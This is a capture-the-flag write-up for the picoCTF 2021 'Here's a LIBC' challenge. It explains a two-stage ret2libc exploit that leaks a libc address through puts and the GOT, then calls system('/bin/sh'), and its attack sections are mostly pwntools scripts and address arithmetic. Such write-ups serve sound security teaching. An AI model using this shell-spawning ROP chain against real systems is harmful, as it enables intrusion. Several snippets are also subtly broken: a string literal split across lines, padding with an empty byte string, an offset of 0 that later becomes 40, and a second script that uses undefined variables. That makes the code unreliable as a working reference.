Here's a LIBC picoCTF 2021 Solution

Published: April 2, 2026

Description

I'll give you a LIBC, can you pwn it? Use the provided libc to build a ret2libc exploit and get a shell.

Download the binary and the provided libc file.

bash
wget https://mercury.picoctf.net/static/.../vuln
bash
wget https://mercury.picoctf.net/static/.../libc.so.6
bash
chmod +x vuln
bash
checksec vuln
Background: Buffer Overflow Binary Exploitation covers the leak/return-to-main pattern, and ROP Chain Without libc handles the case when no libc is provided.
  1. Step 1Check mitigations and understand the vulnerability
    Run checksec on the binary. Confirm ASLR is active (it always is on modern systems), which means you need to leak a libc address before computing the real system() and /bin/sh addresses.
    bash
    checksec vuln
    bash
    file vuln
    bash
    ldd vuln
    python
    python3 -c "from pwn import *; e=ELF('./vuln'); print(e.plt); print(e.got)"
    Learn more

    When ASLR is active, libc loads at a random base address each run. The key insight is that the offsets between functions within libc are fixed - the distance from puts to system is always the same, regardless of where libc is loaded. Once you leak any libc address, you can compute all other addresses.

    Standard two-stage ret2libc exploit:

    1. Stage 1 (Leak): Use the PLT (Procedure Linkage Table) to call puts(got['puts']). This prints the resolved address of puts from the GOT, revealing libc's load address.
    2. Stage 2 (Shell): Compute system = libc_base + libc.sym['system'] and bin_sh = libc_base + next(libc.search(b'/bin/sh')). Call system('/bin/sh') to get a shell.
  2. Step 2Build the leak stage
    Construct a ROP chain that calls puts(GOT['puts']) to leak the runtime address of puts, then returns back to main for a second exploitation attempt.
    python
    python3 - <<'EOF'
    from pwn import *
    
    e = ELF('./vuln')
    libc = ELF('./libc.so.6')
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    pop_rdi = next(e.search(asm('pop rdi; ret')))
    offset = 0  # from cyclic analysis
    
    # Stage 1: Leak puts address
    payload  = b'A' * offset
    payload += p64(pop_rdi)
    payload += p64(e.got['puts'])
    payload += p64(e.plt['puts'])
    payload += p64(e.sym['main'])  # return to main for stage 2
    
    p.sendline(payload)
    p.recvuntil(b'
    ')  # skip any output before the leak
    leak = u64(p.recvline().strip().ljust(8, b''))
    log.success(f"puts @ {hex(leak)}")
    
    libc_base = leak - libc.sym['puts']
    log.success(f"libc base @ {hex(libc_base)}")
    assert libc_base & 0xfff == 0, "libc base must be page-aligned (ends in 000) - wrong libc or wrong leak"
    EOF
    Learn more

    The GOT (Global Offset Table) stores the runtime addresses of external library functions after they are resolved by the dynamic linker. The PLT (Procedure Linkage Table) provides stubs that jump through the GOT, with lazy binding filling in the GOT entry on first call.

    Stage 1 stack at the moment vuln() returns (each cell is 8 bytes):

    rsp -> | pop rdi ; ret  |   <- ret of vuln() pops this
           | got['puts']    |   pop rdi ; ret -> rdi = &got['puts']
           | plt['puts']    |   ret jumps here, calls puts(arg = got['puts'])
           | sym['main']    |   puts() returns here -> back to main loop

    Worked example of the libc base math. Suppose puts in libc.so.6 is at static offset 0x80e50 (find with readelf -s libc.so.6 | grep ' puts$' or libc.sym['puts'] in pwntools). Suppose the leak prints 0x7f3a4567ee50. Then:

    leaked_puts = 0x7f3a4567ee50
    puts_offset = 0x000000080e50
    libc_base   = 0x7f3a4567ee50 - 0x80e50
                = 0x7f3a45600000   <- always page-aligned (lowest 12 bits = 0)

    The 0x000 tail confirms the math: shared libraries are always loaded at page boundaries, so a correct libc_base ends in three zero hex digits. Anything else means a wrong libc version or a wrong leak parse.

    Why returning to main works. main ends with the same gets() read loop that the first overflow exploited. After stage 1 prints the leak and returns to main, the program presents the prompt again, the script reads the leak from the stage-1 output, computes system and /bin/sh from libc_base, and sends a second crafted payload through the same vulnerability.

  3. Step 3Build the shell stage
    In the second stage (after returning to main), compute the real addresses of system() and '/bin/sh' using the libc base, then call system('/bin/sh').
    python
    # Continuing from the previous script:
    python3 - <<'EOF'
    from pwn import *
    
    # ... (previous leak stage) ...
    
    system = libc_base + libc.sym['system']
    bin_sh = libc_base + next(libc.search(b'/bin/sh'))
    ret_gadget = next(e.search(asm('ret')))  # stack alignment
    
    # Stage 2: call system('/bin/sh')
    payload  = b'A' * offset
    payload += p64(ret_gadget)   # stack alignment for system()
    payload += p64(pop_rdi)
    payload += p64(bin_sh)
    payload += p64(system)
    
    p.sendline(payload)
    p.interactive()
    EOF
    Learn more

    Stage 2 chain layout, with concrete addresses. Suppose libc_base = 0x7f3a45600000, libc.sym['system'] = 0x52290, and the first /bin/sh\0 string lives at libc.search offset 0x1b3e1a:

    system = 0x7f3a45600000 + 0x52290  = 0x7f3a45652290
    binsh  = 0x7f3a45600000 + 0x1b3e1a = 0x7f3a457b3e1a
    
    payload = b'A' * 40              # offset to saved RIP
            + p64(ret_gadget)        # 16-byte align rsp
            + p64(pop_rdi)
            + p64(0x7f3a457b3e1a)    # rdi = "/bin/sh"
            + p64(0x7f3a45652290)    # call system

    Why the bare ret for alignment. When vuln() executes ret the stack is at ...0x8 (saved RIP slot). The pop rdi; ret consumes 16 bytes total (one pop, one ret), keeping alignment. But glibc system() internally uses movaps xmm0, [rsp+...], which faults on a 16-byte misalignment. Inserting a single bare ret before the call burns 8 bytes and shifts rsp from ...0x8 to ...0x0, satisfying the alignment requirement.

    Local testing with the provided libc. patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./vuln (or invoke ./ld-linux-x86-64.so.2 --library-path . ./vuln directly) makes the binary load the supplied libc, ensuring offsets you compute locally match those on the challenge server.

Flag

picoCTF{...}

ret2libc with ASLR requires two stages: first leak a GOT entry to calculate libc base, then call system('/bin/sh') using computed real addresses - the provided libc ensures offset accuracy.

Want more picoCTF 2021 writeups?

Tools used in this challenge

Related reading

What to try next